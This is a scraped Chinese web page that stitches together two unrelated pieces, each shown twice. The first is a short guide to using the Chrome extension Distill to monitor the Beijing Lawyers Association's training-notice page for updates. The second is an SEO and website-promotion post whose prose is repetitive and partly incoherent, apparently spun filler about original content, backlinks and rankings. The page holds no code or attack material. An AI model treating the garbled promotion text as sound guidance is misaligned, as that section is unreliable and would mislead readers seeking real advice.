我尝试了市面上几种相关的软件或插件,比较下来,Distill能满足实时监控网页变化并及时提醒的功能,简要实现步骤如下:
1、在Chrome中安装Distill插件
2、在Chrome中打开拟监控的网站,点击Distill图标,然后在左侧“添加Monitor”栏目选择监控整个页面
3、上一步选择“监控整个页面”后会进入Watchlist设置页面,做简单设置即可
可以视需要设置网页刷新时间,然后保存
设置好后,如果网站有内容更新,Distill就会在Chrome中提示,并且播放提示音,当然了,这需要Chrome始终处于打开状态,Distill在本地运行,好在律协通知也是在工作时间发,跟我们日常工作是不冲突;
付费版可以实现在服务器中运行,并且可以发送电子邮件和短信,是否付费就看个人需求了。
更多高效办公工具,请见:
查看全部
如何实时监控一个网站的更新 | 以报名北京律协现场培训为例
工具:Chrome插件Distill
功能:实时监控网站内容更新变化并及时提醒
地址:
有时我们对某个网站内容更新的及时性要求非常高,举例来说,北京律协时常会在雁栖湖基地办理集中培训,培训内容贴近实务,不仅免费而且管吃管住车接车送,基地风景也很漂亮,因此特别受欢迎,往往培训通知发出后半小时左右就会报满,如果不是第一时间看到一般是报不进去的,但守着网页刷新也不现实。
北京律协培训通知地址:
我们需要一个机器帮我们实时盯着这个网页的变化,并及时通知我们。
我尝试了市面上几种相关的软件或插件,比较下来,Distill能满足实时监控网页变化并及时提醒的功能,简要实现步骤如下:
1、在Chrome中安装Distill插件
2、在Chrome中打开拟监控的网站,点击Distill图标,然后在左侧“添加Monitor”栏目选择监控整个页面
3、上一步选择“监控整个页面”后会进入Watchlist设置页面,做简单设置即可
可以视需要设置网页刷新时间,然后保存
设置好后,如果网站有内容更新,Distill就会在Chrome中提示,并且播放提示音,当然了,这需要Chrome始终处于打开状态,Distill在本地运行,好在律协通知也是在工作时间发,跟我们日常工作是不冲突;
付费版可以实现在服务器中运行,并且可以发送电子邮件和短信,是否付费就看个人需求了。
更多高效办公工具,请见:
网站内容多方面增加资讯的伪原创就不要发布了
网站优化 • 优采云 发表了文章 • 0 个评论 • 94 次浏览 • 2022-05-10 20:01
网站内容更新监控每天定量更新内容,例如自己原创的文章、知识型文章,而且不可以是其他相关媒体的原创文章,包括其他的自媒体平台或内容。如果外链需要接入到平台去。网站中内容的审核将会更加的严格,无法为个人进行伪原创的伪原创就不要进行发布了。关于外链,即便你通过其他平台发布一些内容也不能变相的为网站获取外链。
网站内容多方面增加资讯的内容多为资讯的原创内容,不得为其他网站发布而引用,只可自行增加个人资讯特色来进行自媒体平台的宣传推广。
网站内容为王。现在的自媒体平台跟以前没啥区别,所有的资讯都是公开信息,根本就没有可比性。
前提一定是质量的积累才能形成品牌效应与口碑,网站推广效果的核心一定是阅读量,就目前来看,不要追求多平台、多资源,可以适当尝试微信、微博、今日头条等,在一定体量下达到所需推广效果后,再思考深度内容的运营。
实际上现在推广最重要的永远是排名,尤其是新站。
广告费用分布平衡,关键词布局完整度,受众的精准度,不要进入劣质低俗段子的过多。
网站的推广首先要明确,不是所有推广就一定产生效果,网站的推广没有一定要靠推广进行增加流量!要对网站流量进行定位,对目标人群定位,对网站推广范围进行分析!明确网站要推广哪些领域,是否属于一定要投入推广的流量范围之内!以什么样的形式进行推广,企业类型(行业、企业主体、公司性质、公司规模..)以及人群定位。 查看全部
网站内容多方面增加资讯的伪原创就不要发布了
网站内容更新监控每天定量更新内容,例如自己原创的文章、知识型文章,而且不可以是其他相关媒体的原创文章,包括其他的自媒体平台或内容。如果外链需要接入到平台去。网站中内容的审核将会更加的严格,无法为个人进行伪原创的伪原创就不要进行发布了。关于外链,即便你通过其他平台发布一些内容也不能变相的为网站获取外链。
网站内容多方面增加资讯的内容多为资讯的原创内容,不得为其他网站发布而引用,只可自行增加个人资讯特色来进行自媒体平台的宣传推广。
网站内容为王。现在的自媒体平台跟以前没啥区别,所有的资讯都是公开信息,根本就没有可比性。
前提一定是质量的积累才能形成品牌效应与口碑,网站推广效果的核心一定是阅读量,就目前来看,不要追求多平台、多资源,可以适当尝试微信、微博、今日头条等,在一定体量下达到所需推广效果后,再思考深度内容的运营。
实际上现在推广最重要的永远是排名,尤其是新站。
广告费用分布平衡,关键词布局完整度,受众的精准度,不要进入劣质低俗段子的过多。
网站的推广首先要明确,不是所有推广就一定产生效果,网站的推广没有一定要靠推广进行增加流量!要对网站流量进行定位,对目标人群定位,对网站推广范围进行分析!明确网站要推广哪些领域,是否属于一定要投入推广的流量范围之内!以什么样的形式进行推广,企业类型(行业、企业主体、公司性质、公司规模..)以及人群定位。